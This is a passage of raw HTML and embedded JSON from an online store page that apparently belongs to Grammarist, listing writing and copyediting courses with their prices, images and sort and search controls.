12480026#038;p=108533","menu_order":0,"post_type":"sc_product","post_mime_type":"","comment_count":"0","filter":"raw"},"synced":true,"has_syncable_expands":true,"image_srcset":"","checkout_permalink":"https:\/\/grammarist.com\/buy\/breakthrough-copyediting-and-proofreading","permalink":"https:\/\/grammarist.com\/products\/breakthrough-copyediting-and-proofreading\/","is_published":true,"page_title":"Grammarist Breakthrough Copyediting and Proofreading","meta_description":"\u003Cul\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EComprehensive Skill Development\u003C\/strong\u003E: Gain all the necessary knowledge, tools, techniques, and business skills for a successful proofreading\/copyediting career, from spotting culturally insensitive language to understanding core proofreading principles.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EClient Relationships and Business Setup\u003C\/strong\u003E: Learn to find high-quality clients, write compelling business proposals, and create a robust business foundation with essential tools like a website, r\u00e9sum\u00e9, and billing system.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EEnhanced Efficiency and Error Correction\u003C\/strong\u003E: Master the use of tools and platforms for efficient work and learn to spot and correct all types of writing errors, enhancing your ability to revise various content types.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003ESpecialization and Style Adaptability\u003C\/strong\u003E: Explore lucrative niches within proofreading and copyediting, like academic and podcast proofreading, and understand the use of different style guides to adapt to client-specific requests\u003C\/p\u003E\u003C\/li\u003E\u003C\/ul\u003E","in_stock":true,"active_prices":[{"id":"69ecfb00-5e39-409f-8f6a-b30840cbea57","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":49700,"archived":false,"currency":"usd","current_version":true,"full_amount":49700,"license_activation_limit":null,"name":"One Time","position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"2cc726c4-3298-4e78-8a61-dfc5d4be174d","renewal_price":null,"recurring_end_behavior":"complete","created_at":1735329156,"updated_at":1745408477,"display_amount":"$497","converted_amount":497,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"2cc726c4-3298-4e78-8a61-dfc5d4be174d"},{"id":"6a5c8177-ce47-44e0-a42e-7d34fadf3b6e","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":19900,"archived":false,"currency":"usd","current_version":true,"full_amount":59700,"license_activation_limit":null,"name":"Installment Plan","position":1,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":"month","recurring_interval_count":1,"recurring_period_count":3,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"2cc726c4-3298-4e78-8a61-dfc5d4be174d","renewal_price":null,"recurring_end_behavior":"complete","created_at":1745408412,"updated_at":1745408447,"display_amount":"$199","converted_amount":199,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"3 payments","interval_text":"every 1 month","short_interval_text":"\/ 1 mo","short_interval_count_text":" x 3","interval_count_text":"(3 payments)","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"2cc726c4-3298-4e78-8a61-dfc5d4be174d"}],"has_variants":false,"has_multiple_prices":true,"active_ad_hoc_prices":[],"has_options":true,"featured_image":{"ID":70564,"post_author":"305970","post_date":"2023-10-11 13:51:37","post_date_gmt":"2023-10-11 19:51:37","post_content":"","post_title":"image-19.png","post_excerpt":"","post_status":"inherit","comment_status":"","ping_status":"closed","post_password":"","post_name":"image-19-png-2","to_ping":"","pinged":"","post_modified":"2023-10-11 13:51:37","post_modified_gmt":"2023-10-11 19:51:37","post_content_filtered":"","post_parent":0,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":70564,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1.png"},"featured_media":null,"template_id":"pages\/template-surecart-product.php","trial_text":"","billing_interval_text":"","setup_fee_text":"","has_unlimited_stock":true,"first_variant_with_stock":null,"in_stock_variants":[],"initial_price":{"id":"69ecfb00-5e39-409f-8f6a-b30840cbea57","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":49700,"archived":false,"currency":"usd","current_version":true,"full_amount":49700,"license_activation_limit":null,"name":"One Time","position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"2cc726c4-3298-4e78-8a61-dfc5d4be174d","renew
1248al_price":null,"recurring_end_behavior":"complete","created_at":1735329156,"updated_at":1745408477,"display_amount":"$497","converted_amount":497,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"2cc726c4-3298-4e78-8a61-dfc5d4be174d"},"initial_variant":null,"initial_amount":49700,"scratch_amount":null,"scratch_display_amount":"","template":null,"template_part_id":"surecart\/surecart\/\/product-info","gallery":[{"ID":70564,"post_author":"305970","post_date":"2023-10-11 13:51:37","post_date_gmt":"2023-10-11 19:51:37","post_content":"","post_title":"image-19.png","post_excerpt":"","post_status":"inherit","comment_status":"","ping_status":"closed","post_password":"","post_name":"image-19-png-2","to_ping":"","pinged":"","post_modified":"2023-10-11 13:51:37","post_modified_gmt":"2023-10-11 19:51:37","post_content_filtered":"","post_parent":0,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":70564,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1.png"}],"display_amount":"$497","range_display_amount":"$199 - $497","is_on_sale":false,"line_item_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1-150x150.png","class":"attachment-thumbnail size-thumbnail","alt":"","width":150,"height":150,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1-150x150.png 150w, https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1-300x300.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1-100x100.png 100w","sizes":"(max-width: 150px) 100vw, 150px"},"preview_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1-768x432.png","class":"attachment-medium_large size-medium_large","alt":"","width":768,"height":432,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1-768x432.png 768w, https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1-300x169.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1-1024x576.png 1024w, https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1-1536x864.png 1536w, https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1-600x338.png 600w, https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1.png 1820w","sizes":"(max-width: 768px) 100vw, 768px"},"cataloged_at_date_time":"December 17, 2024 4:39 am","has_videos":false,"total_reviews":0,"reviews_breakdown_array":[0,0,0,0,0],"review_url":"","created_by":false,"cached":null,"created_at_date":"December 17, 2024","created_at_date_time":"December 17, 2024 4:39 am","updated_at_date":"May 10, 2026","updated_at_date_time":"May 10, 2026 12:36 am","has_variable_components":false,"bundle_variable_component_ids":[],"gallery_ids":[70564]},{"id":"9f3827a3-0d30-4175-8c5a-a37fff463763","object":"product","allow_out_of_stock_purchases":false,"archived":false,"auto_fulfill_enabled":true,"available_stock":0,"average_stars":"0.0","description":null,"featured":false,"licensing_enabled":false,"license_activation_limit":null,"purchase_limit":null,"metrics":{"currency":"usd","max_price_amount":24900,"min_price_amount":24900,"prices_count":1},"name":"Grammarist Freelance Writer\u0027s Roadmap","recurring":false,"reviews_breakdown":[],"reviews_enabled":false,"shipping_enabled":false,"slug":"freelance-writer-s-roadmap","solicit_reviews":true,"stock_enabled":false,"prices":{"object":"list","pagination":{"count":2,"limit":20,"page":1,"url":"\/v1\/prices?product_ids%5B%5D=9f3827a3-0d30-4175-8c5a-a37fff463763"},"data":[{"id":"80644a51-d26d-484b-a2eb-5321d3ee185e","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":15700,"archived":true,"currency":"usd","current_version":true,"full_amount":15700,"license_activation_limit":null,"name":"Promo","position":1,"portal_subscription_update_enabled":false,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":24900,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"9f3827a3-0d30-4175-8c5a-a37fff463763","renewal_price":null,"recurring_end_behavior":"complete","created_at":1742580867,"updated_at":1742582147,"display_amount":"$157","converted_amount":157,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"$249","is_on_sale":true,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"9f3827a3-0d30-4175-8c5a-a37fff463763"},{"id":"fafe621d-230e-4be9-a98e-f5d215ce9309","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":24900,"archived":false,"currency":"usd","current_version":true,"full_amount":24900,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"9f3827a3-0d30-4175-8c5a-a37fff463763","renewal_price":null,"recurring_end_behavior":"complete","created_at":1734427802,"updated_at":1734427802,"display_amount":"$249","converted_amount":249,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"9f3827a3-0d30-4175-8c5a-a37fff463763"}]},"product_group":null,"product_medias":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_medias?product_ids%5B%5D=9f3827a3-0d30-4175-8c5a-a37fff463763"},"data":[]},"product_collections":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_collections?product_ids%5B%5D=9f3827a3-0d30-4175-8c5a-a37fff463763"},"data":[]},"variant_options":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/variant_options?product_ids%5B%5D=9f3827a3-0d30-4175-8c5a-a37fff463763"},"data":[]},"variants":{"object":"list","pagination":{"count":0,"limit":300,"page":1,"url":"\/v1\/variants?product_ids%5B%5D=9f3827a3-0d30-4175-8c5a-a37fff463763"},"data":[]},"image_url":null,"created_at":1734427720,"updated_at":1764105463,"post":{"ID":108527,"post_author":"305970","post_date":"2024-12-17 03:28:40","post_date_gmt":"2024-12-17 09:28:40","post_content":"","post_title":"Grammarist Freelance Writer\u0027s Roadmap","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"freelance-writer-s-roadmap","to_ping":"","pinged":"","post_modified":"2025-11-25 15:18:01","post_modified_gmt":"2025-11-25 21:18:01","post_content_filtered":"","post_parent":0,"guid":"https:\/\/grammarist.com\/?post_type=sc_product\u
12480026#038;p=108527","menu_order":0,"post_type":"sc_product","post_mime_type":"","comment_count":"0","filter":"raw"},"synced":true,"has_syncable_expands":false,"image_srcset":"","checkout_permalink":"https:\/\/grammarist.com\/buy\/freelance-writer-s-roadmap","permalink":"https:\/\/grammarist.com\/products\/freelance-writer-s-roadmap\/","is_published":true,"page_title":"Grammarist Freelance Writer\u0027s Roadmap","meta_description":"","in_stock":true,"active_prices":[{"id":"fafe621d-230e-4be9-a98e-f5d215ce9309","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":24900,"archived":false,"currency":"usd","current_version":true,"full_amount":24900,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"9f3827a3-0d30-4175-8c5a-a37fff463763","renewal_price":null,"recurring_end_behavior":"complete","created_at":1734427802,"updated_at":1734427802,"display_amount":"$249","converted_amount":249,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"9f3827a3-0d30-4175-8c5a-a37fff463763"}],"has_variants":false,"has_multiple_prices":false,"active_ad_hoc_prices":[],"has_options":false,"featured_image":{"ID":93885,"post_author":"307033","post_date":"2024-03-12 18:34:15","post_date_gmt":"2024-03-13 00:34:15","post_content":"","post_title":"FWC - Freelance Writing Course","post_excerpt":"","post_status":"inherit","comment_status":"","ping_status":"closed","post_password":"","post_name":"fwc-freelance-writing-course","to_ping":"","pinged":"","post_modified":"2024-03-12 18:34:15","post_modified_gmt":"2024-03-13 00:34:15","post_content_filtered":"","post_parent":93483,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":93885,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course.png"},"featured_media":null,"template_id":"pages\/template-surecart-product.php","trial_text":"","billing_interval_text":"","setup_fee_text":"","has_unlimited_stock":true,"first_variant_with_stock":null,"in_stock_variants":[],"initial_price":{"id":"fafe621d-230e-4be9-a98e-f5d215ce9309","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":24900,"archived":false,"currency":"usd","current_version":true,"full_amount":24900,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"9f3827a3-0d30-4175-8c5a-a37fff463763","renewal_price":null,"recurring_end_behavior":"complete","created_at":1734427802,"updated_at":1734427802,"display_amount":"$249","converted_amount":249,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"9f3827a3-0d30-4175-8c5a-a37fff463763"},"initial_variant":null,"initial_amount":24900,"scratch_amount":null,"scratch_display_amount":"","template":null,"template_part_id":"surecart\/surecart\/\/product-info","gallery":[{"ID":93885,"post_author":"307033","post_date":"2024-03-12 18:34:15","post_date_gmt":"2024-03-13 00:34:15","post_content":"","post_title":"FWC - Freelance Writing Course","post_excerpt":"","post_status":"inherit","comment_status":"","ping_status":"closed","post_password":"","post_name":"fwc-freelance-writing-course","to_ping":"","pinged":"","post_modified":"2024-03-12 18:34:15","post_modified_gmt":"2024-03-13 00:34:15","post_content_filtered":"","post_parent":93483,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":93885,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course.png"}],"display_amount":"$249","range_display_amount":"$249","is_on_sale":false,"line_item_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-150x150.png","class":"attachment-thumbnail size-thumbnail","alt":"","width":150,"height":150,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-150x150.png 150w, https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-300x300.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-100x100.png 100w","sizes":"(max-width: 150px) 100v
1248w, 150px"},"preview_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-768x432.png","class":"attachment-medium_large size-medium_large","alt":"","width":768,"height":432,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-768x432.png 768w, https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-300x169.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-1024x576.png 1024w, https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-1536x864.png 1536w, https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-2048x1152.png 2048w, https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-600x338.png 600w","sizes":"(max-width: 768px) 100vw, 768px"},"cataloged_at_date_time":"December 17, 2024 3:28 am","has_videos":false,"created_by":false,"cached":null,"created_at_date":"December 17, 2024","created_at_date_time":"December 17, 2024 3:28 am","updated_at_date":"November 25, 2025","updated_at_date_time":"November 25, 2025 3:17 pm","has_variable_components":false,"bundle_variable_component_ids":[],"gallery_ids":[93885],"total_reviews":0,"reviews_breakdown_array":[0,0,0,0,0],"review_url":""}]}'	data-wp-interactive='{ "namespace": "surecart/product-list" }'
1249	data-wp-router-region="products-0"
1250	data-wp-watch="callbacks.onChangeProducts"
1251>
1252	
1253
1254<div class="wp-block-group is-content-justification-space-between is-layout-flex wp-container-core-group-is-layout-57435d76 wp-block-group-is-layout-flex" style="margin-bottom:10px;padding-top:0;padding-right:0;padding-bottom:0;padding-left:0">
1255<div class="wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-e1019195 wp-block-group-is-layout-flex" style="margin-top:0px;margin-bottom:0px;padding-top:0;padding-right:0;padding-bottom:0;padding-left:0"><div
1256	class="sc-dropdown wp-block-surecart-product-list-sort"	data-wp-context='{"isMenuOpen":false,"index":0}'	data-wp-interactive='{ "namespace": "surecart/dropdown" }'
1257	data-wp-on-window--click="surecart/dropdown::callbacks.maybeCloseMenu"
1258	data-wp-on-window--focusin="surecart/dropdown::callbacks.maybeCloseMenu"
1259	data-wp-on-window--keydown="surecart/dropdown::callbacks.maybeCloseMenu"
1260	data-wp-bind--aria-activedescendant="context.activeMenuItemId"
1261	data-wp-on--keyup="surecart/dropdown::actions.menuKeyUp"
1262	data-wp-on--keydown="surecart/dropdown::actions.menuKeyDown"
1263	role="menu"
1264	tabindex="-1"
1265	data-wp-bind--aria-labelledby="context.activeMenuItemId"
1266	aria-description="Press the arrow keys then enter to make a selection."
1267>
1268	<div
1269		class="sc-dropdown__trigger sc-button sc-button--standard sc-button--medium sc-button--caret sc-button--has-label sc-button--text"
1270		data-wp-on--click="surecart/dropdown::actions.toggleMenu"
1271		role="button"
1272		tabindex="0"
1273		aria-label="
1274		Order By: Latest		"
1275	>
1276		<span class="sc-button__label">
1277			Latest		</span>
1278		<span class="sc-button__caret">
1279			<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
1280  <polyline points="6 9 12 15 18 9" />
1281</svg>
1282		</span>
1283	</div>
1284
1285	<div aria-hidden="true"
1286		class="sc-dropdown__panel"
1287		data-wp-bind--hidden="!context.isMenuOpen"
1288		data-wp-bind--aria-hidden="!context.isMenuOpen"
1289		hidden
1290	>
1291					<a
1292				role="menuitem"
1293				tabindex="-1"
1294				class="sc-dropdown__menu-item"
1295				id="sc-menu-item-1"
1296				href="/store/?products-order=desc&#038;products-orderby=date"
1297				data-wp-on--click="surecart/product-list::actions.navigate"
1298				data-wp-on--mouseenter="surecart/product-list::actions.prefetch"
1299				data-wp-class--sc-focused="surecart/dropdown::state.isMenuItemFocused"
1300			>
1301				<span class="sc-dropdown__menu-item__label">
1302					Latest				</span>
1303									<span class="sc-menu-item__check">
1304						<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
1305  <polyline points="20 6 9 17 4 12" />
1306</svg>
1307					</span>
1308							</a>
1309					<a
1310				role="menuitem"
1311				tabindex="-1"
1312				class="sc-dropdown__menu-item"
1313				id="sc-menu-item-2"
1314				href="/store/?products-order=asc&#038;products-orderby=date"
1315				data-wp-on--click="surecart/product-list::actions.navigate"
1316				data-wp-on--mouseenter="surecart/product-list::actions.prefetch"
1317				data-wp-class--sc-focused="surecart/dropdown::state.isMenuItemFocused"
1318			>
1319				<span class="sc-dropdown__menu-item__label">
1320					Oldest				</span>
1321							</a>
1322					<a
1323				role="menuitem"
1324				tabindex="-1"
1325				class="sc-dropdown__menu-item"
1326				id="sc-menu-item-3"
1327				href="/store/?products-order=asc&#038;products-orderby=title"
1328				data-wp-on--click="surecart/product-list::actions.navigate"
1329				data-wp-on--mouseenter="surecart/product-list::actions.prefetch"
1330				data-wp-class--sc-focused="surecart/dropdown::state.isMenuItemFocused"
1331			>
1332				<span class="sc-dropdown__menu-item__label">
1333					Alphabetical, A-Z				</span>
1334							</a>
1335					<a
1336				role="menuitem"
1337				tabindex="-1"
1338				class="sc-dropdown__menu-item"
1339				id="sc-menu-item-4"
1340				href="/store/?products-order=desc&#038;products-orderby=title"
1341				data-wp-on--click="surecart/product-list::actions.navigate"
1342				data-wp-on--mouseenter="surecart/product-list::actions.prefetch"
1343				data-wp-class--sc-focused="surecart/dropdown::state.isMenuItemFocused"
1344			>
1345				<span class="sc-dropdown__menu-item__label">
1346					Alphabetical, Z-A				</span>
1347							</a>
1348					<a
1349				role="menuitem"
1350				tabindex="-1"
1351				class="sc-dropdown__menu-item"
1352				id="sc-menu-item-5"
1353				href="/store/?products-order=asc&#038;products-orderby=price"
1354				data-wp-on--click="surecart/product-list::actions.navigate"
1355				data-wp-on--mouseenter="surecart/product-list::actions.prefetch"
1356				data-wp-class--sc-focused="surecart/dropdown::state.isMenuItemFocused"
1357			>
1358				<span class="sc-dropdown__menu-item__label">
1359					Price, low to high				</span>
1360							</a>
1361					<a
1362				role="menuitem"
1363				tabindex="-1"
1364				class="sc-dropdown__menu-item"
1365				id="sc-menu-item-6"
1366				href="/store/?products-order=desc&#038;products-orderby=price"
1367				data-wp-on--click="surecart/product-list::actions.navigate"
1368				data-wp-on--mouseenter="surecart/product-list::actions.prefetch"
1369				data-wp-class--sc-focused="surecart/dropdown::state.isMenuItemFocused"
1370			>
1371				<span class="sc-dropdown__menu-item__label">
1372					Price, high to low				</span>
1373							</a>
1374			</div>
1375</div>
1376
1377
1378
1379</div>
1380
1381
1382<div 
1383	class="sc-input-group sc-input-group-sm wp-block-surecart-product-list-search wp-container-content-e0b89f81"	data-wp-interactive='{ "namespace": "surecart/product-list" }'
1384>
1385	<span class="sc-input-group-text">
1386		<svg class="sc-icon" xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
1387  <circle cx="11" cy="11" r="8" />
1388  <line x1="21" y1="21" x2="16.65" y2="16.65" />
1389</svg>
1390	</span>
1391
1392	<input
1393		class="sc-form-control"
1394		type="search"
1395		data-wp-on--input="actions.onSearchInput"
1396		placeholder="Search"
1397		value=""
1398	>
1399
1400	
1401	<span class="sc-input-group-text" data-wp-bind--hidden="!state.searching" hidden>
1402		<span class="sc-spinner" aria-hidden="true"></span>
1403	</span>
1404</div>
1405</div>
1406
1407
1408
1409<div class="wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-2194deb0 wp-block-group-is-layout-flex" style="margin-bottom:10px;padding-top:0;padding-right:0;padding-bottom:0;padding-left:0"><div
1410class="is-empty wp-block-surecart-product-list-filter-tags is-layout-flex wp-container-surecart-product-list-filter-tags-is-layout-28737005 wp-block-surecart-product-list-filter-tags-is-layout-flex" aria-hidden="true">
1411	
1412<div
1413	class="wp-block-surecart-product-list-filter-tags-template is-layout-flex wp-block-surecart-product-list-filter-tags-template-is-layout-flex" role="list" aria-describedby="filter-tags-label-0"	data-wp-context='{"collections":[]}'>
1414</div>
1415
1416</div>
1417</div>
1418
1419
1420
1421<ul class="sc-product-template-columns-3 wp-block-surecart-product-template is-layout-grid wp-container-surecart-product-template-is-layout-ebc7a09b wp-block-surecart-product-template-is-layout-grid">
1422	
1423		<li class="sc-product-item sc-has-animation-fade-up" data-wp-key="post-template-item-108539">
1424			<form
1425				data-wp-interactive='{ "namespace": "surecart/product-page" }'
1426				data-wp-on--submit="callbacks.handleSubmit"
1427				data-wp-init="callbacks.init"
1428				data-wp-context='{"formId":108516,"mode":"live","checkoutUrl":"https:\/\/grammarist.com\/checkout\/","urlPrefix":"","updateUrl":false,"product":{"id":"593cebd8-4ecb-47f3-a696-7ca8d0b98f91","archived":false,"available_stock":-1,"name":"Grammarist English-Proficiency Exercise Vault","permalink":"https:\/\/grammarist.com\/products\/grammarist-pdf-vault\/","has_unlimited_stock":true,"preview_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-768x419.png","class":"attachment-medium_large size-medium_large","alt":"Grammarist-Mockups-Tripwire-page---darker-1-","width":768,"height":419,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-768x419.png 768w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-300x164.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-1024x559.png 1024w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-600x327.png 600w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2.png 1100w","sizes":"(max-width: 768px) 100vw, 768px"}}
1428,"selectedPrice":{"id":"e9c8c210-ceb6-4352-9cb9-0edde36dbbae","ad_hoc":false,"amount":9000,"archived":false,"currency":"usd","scratch_amount":null,"display_amount":"$90","converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","payments_text":"","interval_text":"","short_interval_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$"},"prices":[{"id":"e9c8c210-ceb6-4352-9cb9-0edde36dbbae","ad_hoc":false,"amount":9000,"archived":false,"currency":"usd","scratch_amount":null,"display_amount":"$90","converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","setup_fee_text":"","payments_text":"","interval_text":"","short_interval_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$"}],"variants":[],"quantity":1,"busy":false,"adHocAmount":0,"variantValues":[],"text":"Add to Cart","outOfStockText":"Sold Out","unavailableText":"Unavailable For Purchase","selectComponentOptionsText":"Select options","note":"","noteLabel":"","bundleComponentVariants":{},"bundleVariableComponentIds":[],"bundleComponents":{}}'				>
